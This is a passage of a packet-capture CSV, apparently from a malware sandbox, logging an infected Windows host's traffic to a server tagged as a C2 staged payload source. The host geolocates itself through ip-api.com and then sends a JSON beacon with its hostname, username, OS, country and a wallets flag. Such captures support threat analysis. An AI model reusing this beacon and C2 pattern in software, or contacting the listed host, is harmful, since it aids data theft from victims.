\"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50180, \"\"dport\"\": 8080, \"\"seq\"\": 1371135995, \"\"ack\"\": 0, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"S\"\", \"\"window\"\": 65535, \"\"chksum\"\": 49528, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('MSS', 1460), ('NOP', None), ('WScale', 7), ('NOP', None), ('NOP', None), ('SAckOK', b'')]\"\"}}]\"\n2026-04-29 14:34:09.294615,184,TCP 185.163.204.93:8080 -> 192.168.122.168:50180,185.163.204.93,192.168.122.168,8080,50180,TCP,Hungary,Budapest,56322,ServerAstra Kft.,47.5,19.0412,185.163.204.0/24,Internal,Private Network,,,,,,SA,,,Ether > IP > TCP,3,TCP SA Seq=17955915 Ack=1371135996,5254007bb792525400577f940800450000340000400040067972b9a3cc5dc0a87aa81f90c4040111fc4b51b9dffc8012a564c1780000020405b40101040201030309,RT.{..RT.W....E..4..@.@.yr...]..z........KQ......d.x.............\t,,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 0, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 31090, \"\"src\"\": \"\"185.163.204.93\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8080, \"\"dport\"\": 50180, \"\"seq\"\": 17955915, \"\"ack\"\": 1371135996, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"SA\"\", \"\"window\"\": 42340, \"\"chksum\"\": 49528, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('MSS', 1460), ('NOP', None), ('NOP', None), ('SAckOK', b''), ('NOP', None), ('WScale', 9)]\"\"}}]\"\n2026-04-29 14:34:09.294761,185,TCP 192.168.122.168:50180 -> 185.163.204.93:8080,192.168.122.168,185.163.204.93,50180,8080,TCP,Internal,Private Network,,,,,,Hungary,Budapest,56322,ServerAstra Kft.,47.5,19.0412,185.163.204.0/24,A,,,Ether > IP > TCP,3,TCP A Seq=1371135996 Ack=17955916,525400577f945254007bb792080045000028964f40008006a32ec0a87aa8b9a3cc5dc4041f9051b9dffc0111fc4c50108000c16c0000,RT.W..RT.{....E..(.O@.......z....]....Q......LP....l..,[C2] Staged Payload Source (Stages: 8),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 38479, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 41774, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"185.163.204.93\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50180, \"\"dport\"\": 8080, \"\"seq\"\": 1371135996, \"\"ack\"\": 17955916, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 32768, \"\"chksum\"\": 49516, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-29 14:34:09.521297,186,TCP 192.168.122.168:50177 -> 208.95.112.1:80,192.168.122.168,208.95.112.1,50177,80,TCP,Internal,Private Network,,,,,,United States,Unknown,53334,\"Total Uptime Technologies, LLC\",37.751,-97.822,208.95.112.0/21,FA,,,Ether > IP > TCP,3,TCP FA Seq=3658458229 Ack=2184589265,525400577f945254007bb79208004500002806f440008006782ac0a87aa8d05f7001c4010050da0fa47582362fd1501120137bcc0000,RT.W..RT.{....E..(..@...x*..z.._p....P...u.6/.P. .{...,[C2] Staged Payload Source (Stages: 8),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 1780, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 30762, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"208.95.112.1\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50177, \"\"dport\"\": 80, \"\"seq\"\": 3658458229, \"\"ack\"\": 2184589265, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"FA\"\", \"\"window\"\": 8211, \"\"chksum\"\": 31692, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-29 14:34:09.521330,187,TCP 208.95.112.1:80 -> 192.168.122.168:50177,208.95.112.1,192.168.122.168,80,50177,TCP,United States,Unknown,53334,\"Total Uptime Technologies, LLC\",37.751,-97.822,208.95.112.0/21,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=2184589265 Ack=3658458230,5254007bb792525400577f94080045000028000040004006bf1ed05f7001c0a87aa80050c40182362fd1da0fa476501000533ef00000,RT.{..RT.W....E..(..@.@...._p...z..P...6/....vP..S>...,,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 0, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 48926, \"\"src\"\": \"\"208.95.112.1\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 80, \"\"dport\"\": 50177, \"\"seq\"\": 2184589265, \"\"ack\"\": 3658458230, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 83, \"\"chksum\"\": 16112, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-29 14:34:09.802086,188,TCP 192.168.122.168:50181 -> 208.95.112.1:80,192.168.122.168,208.95.112.1,50181,80,TCP,Internal,Private Network,,,,,,United States,Unknown,53334,\"Total Uptime Technologies, LLC\",37.751,-97.822,208.95.112.0/21,S,,,Ether > IP > TCP,3,TCP S Seq=961268526 Ack=0,525400577f945254007bb79208004500003406f540008006781dc0a87aa8d05f7001c4050050394bcb2e000000008002faf07bd80000020405b40103030801010402,RT.W..RT.{....E..4..@...x...z.._p....P9K..........{...............,[C2] Staged Payload Source (Stages: 8),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 1781, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 30749, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"208.95.112.1\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50181, \"\"dport\"\": 80, \"\"seq\"\": 961268526, \"\"ack\"\": 0, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"S\"\", \"\"window\"\": 64240, \"\"chksum\"\": 31704, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('MSS', 1460), ('NOP', None), ('WScale', 8), ('NOP', None), ('NOP', None), ('SAckOK', b'')]\"\"}}]\"\n2026-04-29 14:34:09.802133,189,TCP 208.95.112.1:80 -> 192.168.122.168:50181,208.95.112.1,192.168.122.168,80,50181,TCP,United States,Unknown,53334,\"Total Uptime Technologies, LLC\",37.751,-97.822,208.95.112.0/21,Internal,Private Network,,,,,,SA,,,Ether > IP > TCP,3,TCP SA Seq=3563670000 Ack=961268527,5254007bb792525400577f94080045000034000040004006bf12d05f7001c0a87aa80050c405d46949f0394bcb2f8012a5647bd80000020405b40101040201030309,RT.{..RT.W....E..4..@.@...._p...z..P...iI.9K./...d{..............\t,,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 0, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 48914, \"\"src\"\": \"\"208.95.112.1\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 80, \"\"dport\"\": 50181, \"\"seq\"\": 3563670000, \"\"ack\"\": 961268527, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"SA\"\", \"\"window\"\": 42340, \"\"chksum\"\": 31704, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('MSS', 1460), ('NOP', None), ('NOP', None), ('SAckOK', b''), ('NOP', None), ('WScale', 9)]\"\"}}]\"\n2026-04-29 14:34:09.802235,190,TCP 192.168.122.168:50181 -> 208.95.112.1:80,192.168.122.168,208.95.112.1,50181,80,TCP,Internal,Private Network,,,,,,United States,Unknown,53334,\"Total Uptime Technologies, LLC\",37.751,-97.822,208.95.112.0/21,A,,,Ether > IP > TCP,3,TCP A Seq=961268527 Ack=3563670001,525400577f945254007bb79208004500002806f6400080067828c0a87aa8d05f7001c4050050394bcb2fd46949f1501020147bcc0000,RT.W..RT.{....E..(..@...x(..z.._p....P9K./.iI.P. .{...,[C2] Staged Payload Source (Stages: 8),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 1782, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 30760, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"208.95.112.1\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50181, \"\"dport\"\": 80, \"\"seq\"\": 961268527, \"\"ack\"\": 3563670001, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 31692, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-29 14:34:09.802516,191,TCP 192.168.122.168:50181 -> 208.95.112.1:80,192.168.122.168,208.95.112.1,50181,80,TCP,Internal,Private Network,,,,,,United States,Unknown,53334,\"Total Uptime Technologies, LLC\",37.751,-97.822,208.95.112.0/21,PA,,http://ip-api.com/json/?fields=countryCode,Ether > IP > TCP > HTTP > HTTPRequest,5,HTTP Request: GET /json/?fields=countryCode,525400577f945254007bb79208004500007d06f74000800677d2c0a87aa8d05f7001c4050050394bcb2fd46949f1501820147c210000474554202f6a736f6e2f3f6669656c64733d636f756e747279436f646520485454502f312e310d0a557365722d4167656e743a204d6f7a696c6c612f352e300d0a486f73743a2069702d6170692e636f6d0d0a0d0a,\"RT.W..RT.{....E..}..@...w...z.._p....P9K./.iI.P. .|!..GET /json/?fields=countryCode HTTP/1.1\nUser-Agent: Mozilla/5.0\nHost: ip-api.com\n\n\",[C2] Staged Payload Source (Stages: 8),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 125, \"\"id\"\": 1783, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 30674, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"208.95.112.1\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50181, \"\"dport\"\": 80, \"\"seq\"\": 961268527, \"\"ack\"\": 3563670001, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 8212, \"\"chksum\"\": 31777, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"HTTP\"\", \"\"fields\"\": {}}, {\"\"layer\"\": \"\"HTTPRequest\"\", \"\"fields\"\": {\"\"Method\"\": \"\"GET\"\", \"\"Path\"\": \"\"/json/?fields=countryCode\"\", \"\"Http_Version\"\": \"\"HTTP/1.1\"\", \"\"A_IM\"\": null, \"\"Accept\"\": null, \"\"Accept_Charset\"\": null, \"\"Accept_Datetime\"\": null, \"\"Accept_Encoding\"\": null, \"\"Accept_Language\"\": null, \"\"Access_Control_Request_Headers\"\": null, \"\"Access_Control_Request_Method\"\": null, \"\"Authorization\"\": null, \"\"Cache_Control\"\": null, \"\"Connection\"\": null, \"\"Content_Length\"\": null, \"\"Content_MD5\"\": null, \"\"Content_Type\"\": null, \"\"Cookie\"\": null, \"\"DNT\"\": null, \"\"Date\"\": null, \"\"Expect\"\": null, \"\"Forwarded\"\": null, \"\"From\"\": null, \"\"Front_End_Https\"\": null, \"\"HTTP2_Settings\"\": null, \"\"Host\"\": \"\"ip-api.com\"\", \"\"If_Match\"\": null, \"\"If_Modified_Since\"\": null, \"\"If_None_Match\"\": null, \"\"If_Range\"\": null, \"\"If_Unmodified_Since\"\": null, \"\"Keep_Alive\"\": null, \"\"Max_Forwards\"\": null, \"\"Origin\"\": null, \"\"Permanent\"\": null, \"\"Pragma\"\": null, \"\"Proxy_Authorization\"\": null, \"\"Proxy_Connection\"\": null, \"\"Range\"\": null, \"\"Referer\"\": null, \"\"Save_Data\"\": null, \"\"TE\"\": null, \"\"Upgrade\"\": null, \"\"Upgrade_Insecure_Requests\"\": null, \"\"User_Agent\"\": \"\"Mozilla/5.0\"\", \"\"Via\"\": null, \"\"Warning\"\": null, \"\"X_ATT_DeviceId\"\": null, \"\"X_Correlation_ID\"\": null, \"\"X_Csrf_Token\"\": null, \"\"X_Forwarded_For\"\": null, \"\"X_Forwarded_Host\"\": null, \"\"X_Forwarded_Proto\"\": null, \"\"X_Http_Method_Override\"\": null, \"\"X_Request_ID\"\": null, \"\"X_Requested_With\"\": null, \"\"X_UIDH\"\": null, \"\"X_Wap_Profile\"\": null, \"\"Unknown_Headers\"\": null}}]\"\n2026-04-29 14:34:09.802533,192,TCP 208.95.112.1:80 -> 192.168.122.168:50181,208.95.112.1,192.168.122.168,80,50181,TCP,United States,Unknown,53334,\"Total Uptime Technologies, LLC\",37.751,-97.822,208.95.112.0/21,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3563670001 Ack=961268612,5254007bb792525400577f94080045000028644a400040065ad4d05f7001c0a87aa80050c405d46949f1394bcb84501000537bcc0000,RT.{..RT.W....E..(dJ@.@.Z.._p...z..P...iI.9K..P..S{...,,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 25674, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 23252, \"\"src\"\": \"\"208.95.112.1\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 80, \"\"dport\"\": 50181, \"\"seq\"\": 3563670001, \"\"ack\"\": 961268612, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 83, \"\"chksum\"\": 31692, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-29 14:34:10.386889,193,TCP 208.95.112.1:80 -> 192.168.122.168:50181,208.95.112.1,192.168.122.168,80,50181,TCP,United States,Unknown,53334,\"Total Uptime Technologies, LLC\",37.751,-97.822,208.95.112.0/21,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > HTTP > HTTPResponse > Raw,6,HTTP Response: 200,5254007bb792525400577f940800450000ec644b400040065a0fd05f7001c0a87aa80050c405d46949f1394bcb84501800537c900000485454502f312e3120323030204f4b0d0a446174653a205765642c2032392041707220323032362031343a33343a303920474d540d0a436f6e74656e742d547970653a206170706c69636174696f6e2f6a736f6e3b20636861727365743d7574662d380d0a436f6e74656e742d4c656e6774683a2032300d0a4163636573732d436f6e74726f6c2d416c6c6f772d4f726967696e3a202a0d0a582d54746c3a2036300d0a582d526c3a2034340d0a0d0a7b22636f756e747279436f6465223a224e4c227d,\"{\"\"countryCode\"\":\"\"NL\"\"}\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 236, \"\"id\"\": 25675, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 23055, \"\"src\"\": \"\"208.95.112.1\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 80, \"\"dport\"\": 50181, \"\"seq\"\": 3563670001, \"\"ack\"\": 961268612, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 83, \"\"chksum\"\": 31888, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"HTTP\"\", \"\"fields\"\": {}}, {\"\"layer\"\": \"\"HTTPResponse\"\", \"\"fields\"\": {\"\"Http_Version\"\": \"\"HTTP/1.1\"\", \"\"Status_Code\"\": \"\"200\"\", \"\"Reason_Phrase\"\": \"\"OK\"\", \"\"Accept_Patch\"\": null, \"\"Accept_Ranges\"\": null, \"\"Access_Control_Allow_Credentials\"\": null, \"\"Access_Control_Allow_Headers\"\": null, \"\"Access_Control_Allow_Methods\"\": null, \"\"Access_Control_Allow_Origin\"\": \"\"*\"\", \"\"Access_Control_Expose_Headers\"\": null, \"\"Access_Control_Max_Age\"\": null, \"\"Age\"\": null, \"\"Allow\"\": null, \"\"Alt_Svc\"\": null, \"\"Cache_Control\"\": null, \"\"Connection\"\": null, \"\"Content_Disposition\"\": null, \"\"Content_Encoding\"\": null, \"\"Content_Language\"\": null, \"\"Content_Length\"\": \"\"20\"\", \"\"Content_Location\"\": null, \"\"Content_MD5\"\": null, \"\"Content_Range\"\": null, \"\"Content_Security_Policy\"\": null, \"\"Content_Type\"\": \"\"application/json; charset=utf-8\"\", \"\"Date\"\": \"\"Wed, 29 Apr 2026 14:34:09 GMT\"\", \"\"Delta_Base\"\": null, \"\"ETag\"\": null, \"\"Expires\"\": null, \"\"IM\"\": null, \"\"Keep_Alive\"\": null, \"\"Last_Modified\"\": null, \"\"Link\"\": null, \"\"Location\"\": null, \"\"P3P\"\": null, \"\"Permanent\"\": null, \"\"Pragma\"\": null, \"\"Proxy_Authenticate\"\": null, \"\"Public_Key_Pins\"\": null, \"\"Refresh\"\": null, \"\"Retry_After\"\": null, \"\"Server\"\": null, \"\"Set_Cookie\"\": null, \"\"Status\"\": null, \"\"Strict_Transport_Security\"\": null, \"\"Timing_Allow_Origin\"\": null, \"\"Tk\"\": null, \"\"Trailer\"\": null, \"\"Transfer_Encoding\"\": null, \"\"Upgrade\"\": null, \"\"Vary\"\": null, \"\"Via\"\": null, \"\"WWW_Authenticate\"\": null, \"\"Warning\"\": null, \"\"X_Content_Duration\"\": null, \"\"X_Content_Security_Policy\"\": null, \"\"X_Content_Type_Options\"\": null, \"\"X_Correlation_ID\"\": null, \"\"X_Frame_Options\"\": null, \"\"X_Powered_By\"\": null, \"\"X_Request_ID\"\": null, \"\"X_UA_Compatible\"\": null, \"\"X_WebKit_CSP\"\": null, \"\"X_XSS_Protection\"\": null, \"\"Unknown_Headers\"\": \"\"{b'X-Ttl': b'60', b'X-Rl': b'44'}\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"{\\\"\"countryCode\\\"\":\\\"\"NL\\\"\"}\"\"}}]\"\n2026-04-29 14:34:10.389054,194,TCP 192.168.122.168:50180 -> 185.163.204.93:8080,192.168.122.168,185.163.204.93,50180,8080,TCP,Internal,Private Network,,,,,,Hungary,Budapest,56322,ServerAstra Kft.,47.5,19.0412,185.163.204.0/24,PA,,,Ether > IP > TCP > HTTP > Raw,5,TCP PA Seq=1371135996 Ack=17955916,525400577f945254007bb79208004500002c965040008006a329c0a87aa8b9a3cc5dc4041f9051b9dffc0111fc4c50188000c17000009f000000,....,[C2] Staged Payload Source (Stages: 8),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 44, \"\"id\"\": 38480, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 41769, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"185.163.204.93\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50180, \"\"dport\"\": 8080, \"\"seq\"\": 1371135996, \"\"ack\"\": 17955916, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 32768, \"\"chksum\"\": 49520, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"HTTP\"\", \"\"fields\"\": {}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"9f000000\"\"}}]\"\n2026-04-29 14:34:10.389085,195,TCP 185.163.204.93:8080 -> 192.168.122.168:50180,185.163.204.93,192.168.122.168,8080,50180,TCP,Hungary,Budapest,56322,ServerAstra Kft.,47.5,19.0412,185.163.204.0/24,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=17955916 Ack=1371136000,5254007bb792525400577f940800450000289ed340004006daaab9a3cc5dc0a87aa81f90c4040111fc4c51b9e00050100053c16c0000,RT.{..RT.W....E..(..@.@......]..z........LQ...P..S.l..,,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 40659, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 55978, \"\"src\"\": \"\"185.163.204.93\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8080, \"\"dport\"\": 50180, \"\"seq\"\": 17955916, \"\"ack\"\": 1371136000, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 83, \"\"chksum\"\": 49516, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-29 14:34:10.389176,196,TCP 192.168.122.168:50180 -> 185.163.204.93:8080,192.168.122.168,185.163.204.93,50180,8080,TCP,Internal,Private Network,,,,,,Hungary,Budapest,56322,ServerAstra Kft.,47.5,19.0412,185.163.204.0/24,PA,,,Ether > IP > TCP > HTTP > Raw,5,TCP PA Seq=1371136000 Ack=17955916,525400577f945254007bb7920800450000c7965140008006a28dc0a87aa8b9a3cc5dc4041f9051b9e0000111fc4c50188000c20b00007b2274797065223a22696e666f222c2264617461223a7b22686f73746e616d65223a224445534b544f502d4a4c4355504b30222c22757365726e616d65223a2230784b616c222c226f73223a224d6963726f736f66742057696e646f77732031302050726f2031302e302e3139303434222c22636f756e747279223a224e4c222c226d6f6e69746f7273223a312c2277616c6c657473223a66616c73657d7d,\"{\"\"type\"\":\"\"info\"\",\"\"data\"\":{\"\"hostname\"\":\"\"DESKTOP-JLCUPK0\"\",\"\"username\"\":\"\"0xKal\"\",\"\"os\"\":\"\"Microsoft Windows 10 Pro 10.0.19044\"\",\"\"country\"\":\"\"NL\"\",\"\"monitors\"\":1,\"\"wallets\"\":false}}\",[C2] Staged Payload Source (Stages: 8),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 199, \"\"id\"\": 38481, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 41613, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"185.163.204.93\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50180, \"\"dport\"\": 8080, \"\"seq\"\": 1371136000, \"\"ack\"\": 17955916, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 32768, \"\"chksum\"\": 49675, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"HTTP\"\", \"\"fields\"\": {}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"{\\\"\"type\\\"\":\\\"\"info\\\"\",\\\"\"data\\\"\":{\\\"\"hostname\\\"\":\\\"\"DESKTOP-JLCUPK0\\\"\",\\\"\"username\\\"\":\\\"\"0xKal\\\"\",\\\"\"os\\\"\":\\\"\"Microsoft Windows 10 Pro 10.0.19044\\\"\",\\\"\"country\\\"\":\\\"\"NL\\\"\",\\\"\"monitors\\\"\":1,\\\"\"wallets\\\"\":false}}\"\"}}]\"\n2026-04-29 14:34:10.389184,197,TCP 185.163.204.93:8080 -> 192.168.122.168:50180,185.163.204.93,192.168.122.168,8080,50180,TCP,Hungary,Budapest,56322,ServerAstra Kft.,47.5,19.0412,185.163.204.0/24,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A 